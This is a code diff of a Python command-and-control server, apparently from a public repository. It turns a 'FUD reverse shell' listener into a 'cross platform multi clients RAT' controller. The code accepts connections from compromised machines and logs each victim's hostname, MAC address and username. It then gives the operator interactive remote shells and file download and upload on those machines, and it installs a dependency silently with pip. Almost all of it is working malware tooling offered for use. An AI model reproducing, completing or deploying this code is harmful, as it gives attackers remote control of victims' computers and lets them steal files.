|
1 |
| -import os |
2 |
| -import platform |
3 | 1 | import socket
|
4 | 2 | import json
|
| 3 | +import threading |
| 4 | +import platform |
| 5 | +import os |
5 | 6 | print("[*] Checking Requirements Module.....")
|
6 |
| -if platform.system().startswith("Linux"): |
| 7 | +if platform.system().startswith("Windows"): |
7 | 8 | try:
|
8 |
| - import termcolor |
9 |
| - except ImportError: |
10 |
| - os.system("python3 -m pip install termcolor -q -q -q") |
11 |
| - import termcolor |
12 |
| - try: |
13 |
| - from pystyle import * |
14 |
| - except: |
15 |
| - os.system("python3 -m pip install pystyle -q -q -q") |
16 | 9 | from pystyle import *
|
17 |
| - try: |
18 |
| - import colorama |
19 |
| - from colorama import Fore, Back, Style |
20 |
| - except ImportError: |
21 |
| - os.system("python3 -m pip install colorama -q -q -q") |
22 |
| - import colorama |
23 |
| - from colorama import Fore, Back, Style |
24 |
| - |
25 |
| -elif platform.system().startswith("Windows"): |
26 |
| - try: |
27 |
| - import termcolor |
28 | 10 | except ImportError:
|
29 |
| - os.system("python -m pip install termcolor -q -q -q") |
30 |
| - import termcolor |
31 |
| - try: |
32 |
| - import colorama |
33 |
| - from colorama import Fore, Back, Style |
34 |
| - except ImportError: |
35 |
| - os.system("python -m pip install colorama -q -q -q") |
36 |
| - import colorama |
37 |
| - from colorama import Fore, Back, Style |
| 11 | + os.system("python -m pip install pystyle -q -q -q") |
| 12 | + from pystyle import * |
| 13 | +elif platform.system().startswith("Linux"): |
38 | 14 | try:
|
39 | 15 | from pystyle import *
|
40 |
| - except: |
41 |
| - os.system("python -m pip install pystyle -q -q -q") |
| 16 | + except ImportError: |
| 17 | + os.system("python3 -m pip install pystyle -q -q -q") |
42 | 18 | from pystyle import *
|
43 |
| - |
44 |
| -colorama.deinit() |
45 | 19 | banner = Center.XCenter(r"""
|
46 |
| -******************************************************************************** |
47 |
| -* ________ _______ _ _ ____ ____ _ _ _____ _ _ __ * |
48 |
| -* / / _ \ \ / / ___| | | | _ \ / ___|| | | | ____| | | | \ \ * |
49 |
| -* | || |_) \ V /| |_ | | | | | | |____\___ \| |_| | _| | | | | | | * |
50 |
| -* < < | __/ | | | _| | |_| | |_| |_____|__) | _ | |___| |___| |___ > > * |
51 |
| -* | ||_| |_| |_| \___/|____/ |____/|_| |_|_____|_____|_____| | * |
52 |
| -* \_\ /_/ * |
53 |
| -* GENERATE MULTI-CLIENTS FUD REVERSE SHELL * |
54 |
| -* Coded By: Machine1337 * |
55 |
| -******************************************************************************** |
56 |
| - \n\n |
| 20 | +*********************************************************************** |
| 21 | +* ________ _______ _ _ ____ ____ _ _______ * |
| 22 | +* / / _ \ \ / / ___| | | | _ \ | _ \ / \|_ _\ \ * |
| 23 | +* | || |_) \ V /| |_ | | | | | | |_____| |_) | / _ \ | | | | * |
| 24 | +* < < | __/ | | | _| | |_| | |_| |_____| _ < / ___ \| | > > * |
| 25 | +* | ||_| |_| |_| \___/|____/ |_| \_\/_/ \_\_| | | * |
| 26 | +* \_\ /_/ * |
| 27 | +* CROSS PLATFORM MULTI CLIENTS RAT * |
| 28 | +* Coded By: Machine1337 * |
| 29 | +************************************************************************ |
57 | 30 | """)
|
58 | 31 | os.system("cls||clear")
|
59 | 32 | print(Colorate.Vertical(Colors.green_to_yellow, banner, 2))
|
60 |
| -try: |
61 |
| - sip = input(termcolor.colored('\n[*] Enter Your IP (for Listening):- ', 'green')) |
62 |
| - sp = input(termcolor.colored('\n[*] Enter Your Port:- ', 'cyan')) |
63 |
| - HOST = f'{sip}' |
64 |
| - PORT = int(sp) |
65 |
| - BUFFER_SIZE = 4096 |
66 |
| - clients = {} |
67 |
| - client_id = 1 |
68 |
| - def send_data(client_conn, data): |
69 |
| - json_data = json.dumps(data) |
70 |
| - json_data_bytes = json_data.encode() |
71 |
| - data_length = len(json_data_bytes).to_bytes(4, byteorder='big') |
72 |
| - client_conn.sendall(data_length) |
73 |
| - for i in range(0, len(json_data_bytes), BUFFER_SIZE): |
74 |
| - chunk = json_data_bytes[i:i + BUFFER_SIZE] |
75 |
| - client_conn.sendall(chunk) |
76 |
| - def recv_data(client_conn): |
77 |
| - data_length_bytes = client_conn.recv(4) |
78 |
| - data_length = int.from_bytes(data_length_bytes, byteorder='big') |
79 |
| - json_data_bytes = b"" |
80 |
| - bytes_received = 0 |
81 |
| - while bytes_received < data_length: |
82 |
| - chunk = client_conn.recv(min(BUFFER_SIZE, data_length - bytes_received)) |
83 |
| - json_data_bytes += chunk |
84 |
| - bytes_received += len(chunk) |
85 |
| - json_data = json_data_bytes.decode() |
86 |
| - data = json.loads(json_data) |
87 |
| - return data |
| 33 | +ips = [] |
| 34 | +client_usernames = {} |
| 35 | +targets = [] |
| 36 | +connections = {} |
| 37 | +def recv_data(target): |
| 38 | + data = '' |
88 | 39 | while True:
|
89 | 40 | try:
|
90 |
| - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: |
91 |
| - s.bind((HOST, PORT)) |
92 |
| - s.listen() |
93 |
| - print(termcolor.colored(termcolor.colored('\n[*] Waiting for clients to connect...','yellow'))) |
94 |
| - conn, addr = s.accept() |
95 |
| - clients[conn] = f'Client {client_id}' |
96 |
| - print(termcolor.colored(f'\nConnected to {clients[conn]} - {addr}','cyan')) |
97 |
| - client_id += 1 |
98 |
| - while True: |
99 |
| - command = input(Colorate.Vertical(Colors.green_to_yellow, "\n[*]Server Command (Type help):- ", 2)) |
100 |
| - if command.lower() == 'help': |
101 |
| - print(''' |
102 |
| - list : Show Connected Clients |
103 |
| - id : Enter Client ID To Connect |
104 |
| - back : Back From Client To Server |
105 |
| - ''') |
106 |
| - elif command.lower() == 'id': |
107 |
| - client_id_input = input(termcolor.colored("\n[*] Enter client ID: ",'cyan')) |
108 |
| - selected_client = None |
109 |
| - for client_conn, client_name in clients.items(): |
110 |
| - if client_name == f'Client {client_id_input}': |
111 |
| - selected_client = client_conn |
112 |
| - break |
113 |
| - if selected_client is not None: |
114 |
| - while True: |
115 |
| - command = input(Colorate.Vertical(Colors.green_to_yellow, f"\nSHELL@{selected_client.getpeername()[0]} (Type help): ", 2)) |
116 |
| - if command.lower() == 'back': |
117 |
| - break |
118 |
| - elif command.lower() == 'help': |
119 |
| - print(''' |
120 |
| - cd .. : Back From Current Directory |
121 |
| - cd {foldername} : Change To Given Folder |
122 |
| - back : Back From Client To Server |
123 |
| - ''') |
124 |
| - else: |
125 |
| - send_data(selected_client, command) |
126 |
| - data = recv_data(selected_client) |
127 |
| - print(f'{clients[selected_client]}: {data}') |
128 |
| - else: |
129 |
| - print(termcolor.colored(f"\n[*] Client ID {client_id_input} not found.",'red')) |
130 |
| - elif command.lower() == 'list': |
131 |
| - print(termcolor.colored('\n[+] Connected Clients:- \n','cyan')) |
132 |
| - for client_conn, client_name in clients.items(): |
133 |
| - print(f"{client_name}: {client_conn.getpeername()[0]}:{client_conn.getpeername()[1]}") |
134 |
| - else: |
135 |
| - for client_conn in clients.keys(): |
136 |
| - send_data(client_conn, command) |
137 |
| - data = recv_data(client_conn) |
138 |
| - print(f'{clients[client_conn]}: {data}') |
| 41 | + data = data + target.recv(1024).decode().rstrip() |
| 42 | + return json.loads(data) |
| 43 | + except ValueError: |
| 44 | + continue |
| 45 | +def send_data(target, data): |
| 46 | + jsondata = json.dumps(data) |
| 47 | + target.send(jsondata.encode()) |
| 48 | +def download_file(target, file_name): |
| 49 | + f = open(file_name, 'wb') |
| 50 | + target.settimeout(1) |
| 51 | + chunk = target.recv(1024) |
| 52 | + while chunk: |
| 53 | + f.write(chunk) |
| 54 | + try: |
| 55 | + chunk = target.recv(1024) |
| 56 | + except socket.timeout as e: |
| 57 | + break |
| 58 | + target.settimeout(None) |
| 59 | + f.close() |
| 60 | +def upload_file(target, file_name): |
| 61 | + f = open(file_name, 'rb') |
| 62 | + target.send(f.read()) |
| 63 | +#coded By Machine1337....If u like the tool...Follow me on github: @machine1337 |
| 64 | +def shell(target, ip): |
| 65 | + while True: |
| 66 | + command = input(Colors.yellow+"\n[*] Shell@%s " % str(ip)) |
| 67 | + send_data(target, command) |
| 68 | + if command == 'q': |
| 69 | + break |
| 70 | + if command == 'help': |
| 71 | + print(Colorate.Vertical(Colors.red_to_purple, """ |
| 72 | + **** SHELL COMMANDS MAIN MENU **** |
| 73 | + |
| 74 | + 1. download filename | Download File From Client |
| 75 | + 2. upload filename | upload file To the Client |
| 76 | + 3. q | Back To The Server Main Menu |
| 77 | + 4. kill | Terminate the client shell |
| 78 | + More Features Will Be Added |
| 79 | + Follow:- github.com/machine1337 |
| 80 | + """, 2)) |
| 81 | + elif command[:8] == "download": |
| 82 | + download_file(target, command[9:]) |
| 83 | + elif command[:6] == 'upload': |
| 84 | + upload_file(target, command[7:]) |
| 85 | + elif command == 'kill': |
| 86 | + target.close() |
| 87 | + targets.remove(target) |
| 88 | + ips.remove(ip) |
| 89 | + break |
| 90 | + else: |
| 91 | + message = recv_data(target) |
| 92 | + print(message) |
139 | 93 |
|
| 94 | +def server(): |
| 95 | + global clients, connections |
| 96 | + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| 97 | + while True: |
| 98 | + if stop_threads: |
| 99 | + break |
| 100 | + s.settimeout(1) |
| 101 | + try: |
| 102 | + target, ip = s.accept() |
| 103 | + if ip[0] in connections: |
| 104 | + target.close() |
| 105 | + else: |
| 106 | + info = recv_data(target) |
| 107 | + hostname, mac_address, username = info.split(',') |
| 108 | + client_data = {'HostName': hostname, 'MAC_Address': mac_address, 'Username': username} |
| 109 | + client_usernames[ip[0]] = client_data |
| 110 | + targets.append(target) |
| 111 | + ips.append(ip) |
| 112 | + connections[ip[0]] = target |
| 113 | + print(Colors.green+"{} ({}:{}) has connected!".format(username, ip[0], ip[1])+"\n[*] Server Command (Type help):- ",end="") |
| 114 | + clients += 1 |
| 115 | + except socket.timeout: |
| 116 | + continue |
140 | 117 | except KeyboardInterrupt:
|
141 | 118 | break
|
142 |
| - except Exception as e: |
143 |
| - print(termcolor.colored('\n[*] An error occurred:', str(e),'red')) |
144 |
| - for client_conn in clients.keys(): |
145 |
| - client_conn.close() |
146 |
| -except KeyboardInterrupt: |
147 |
| - print(termcolor.colored('\n[*] Keyboard Interuption Occured!!!','red')) |
148 |
| - |
149 |
| -#coded by machine1337...Don't copy this code without giving me a star |
| 119 | + print(Colors.red+"\n[*] Server shutting down...") |
| 120 | + for target in targets: |
| 121 | + target.close() |
| 122 | + s.close() |
| 123 | +def listclients(): |
| 124 | + print("\n--------------------------------------------------------------------------------------") |
| 125 | + print("SESSIONS | HOSTNAME | MAC ADDRESS | USERNAME | IP ADDRESS") |
| 126 | + for count, ip in enumerate(ips): |
| 127 | + if ip[0] in client_usernames: |
| 128 | + target_info = client_usernames[ip[0]] |
| 129 | + print("{:<10}|{:<12} {:<15} {:<11} {}:{}".format(count, target_info['HostName'], |
| 130 | + target_info['MAC_Address'], |
| 131 | + target_info['Username'], ip[0], |
| 132 | + str(ip[1]))) |
| 133 | + else: |
| 134 | + print( |
| 135 | + "{:<10}|{:<12} {:<15} {:<11} {}:{}".format(count, 'Unknown', 'None', 'Unknown', |
| 136 | + ip[0], str(ip[1]))) |
| 137 | + count += 1 |
| 138 | + print("---------------------------------------------------------------------------------------") |
| 139 | +def selectclient(): |
| 140 | + try: |
| 141 | + num = int(command[8:]) |
| 142 | + tarnum = targets[num] |
| 143 | + tarip = ips[num] |
| 144 | + shell(tarnum, tarip) |
| 145 | + except: |
| 146 | + print(Colors.red+"\n[*] No session id under that number") |
| 147 | +if __name__ == '__main__': |
| 148 | + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 149 | + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| 150 | + s.bind(("127.0.0.1", 4444)) # change ur ip and port here |
| 151 | + s.listen(5) |
| 152 | + clients = 0 |
| 153 | + stop_threads = False |
| 154 | + print(Colors.yellow+"\n[*] Server Listening On: ") |
| 155 | + t1 = threading.Thread(target=server) |
| 156 | + t1.start() |
| 157 | + try: |
| 158 | + while True: |
| 159 | + command = input(Colorate.Vertical(Colors.green_to_yellow, "\n[*] Server Command (Type help):- ", 2)) |
| 160 | + if command == "targets": |
| 161 | + listclients() |
| 162 | + elif command == "help": |
| 163 | + print(Colorate.Vertical(Colors.red_to_purple, """ |
| 164 | + **** SERVER COMMANDS MAIN MENU **** |
| 165 | + 1. targets ---> Display Connected Clients |
| 166 | + 2. session ---> go to specific client shell like session 0 |
| 167 | + 3. exit ---> Terminate the server |
| 168 | + """, 2)) |
| 169 | + elif command[:7] == "session": |
| 170 | + selectclient() |
| 171 | + elif command == "exit": |
| 172 | + stop_threads = True |
| 173 | + t1.join() |
| 174 | + break |
| 175 | + except KeyboardInterrupt: |
| 176 | + stop_threads = True |
| 177 | + t1.join() |
| 178 | +#coded By Machine1337....If u like the tool...Follow me on github: @machine1337 |
0 commit comments